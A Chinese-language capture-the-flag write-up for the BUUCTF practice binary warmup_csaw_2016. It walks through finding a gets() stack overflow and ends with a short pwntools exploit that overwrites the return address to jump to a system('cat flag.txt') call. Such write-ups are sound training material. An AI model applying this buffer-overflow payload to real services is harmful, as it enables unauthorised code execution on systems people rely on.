[BUUCTF-pwn]——warmup_csaw_2016
- 题目地址:https://buuoj.cn/challenges#warmup_csaw_2016
- 题目:
管他三七二十一,先将文件下载下来再说。老规矩,现在Linux上用checksec看看文件。64位,Stack、NX、PIE都没有开,应该是栈溢出的题。
赶快 go go go 去window 上用IDA反汇编看看,看到返回的是gets函数,一个典型的可以利用栈溢出覆盖的地方。其他没什么有用的信息。
按Shift + F12,看一下字符串。不看不知道一看有惊喜。cat flag.txt。虽然没有 /bin/sh,可以获得权限。但是这个足够我们拿到flag了。
双击,发现在sub_40060D这个函数里面。
进这个函数看看,眼前一亮,就是我们想要的 system(“cat flag.txt”)
点击查看函数所在位置,发现0x400611是压参数的地方
。我们可以将其作为返回地址。
查看v5的位置,发现离返回地址的距离是0x40 + 8。
所以这道题的exploit为
from pwn import *
p = remote('ip地址',ip端口)
payload='a'*(0x40+8)+p64(0x400611)
p.sendline(payload)
p.interactive()
其实这道题和上一道题解法基本一样,感兴趣的也可以去看看 😃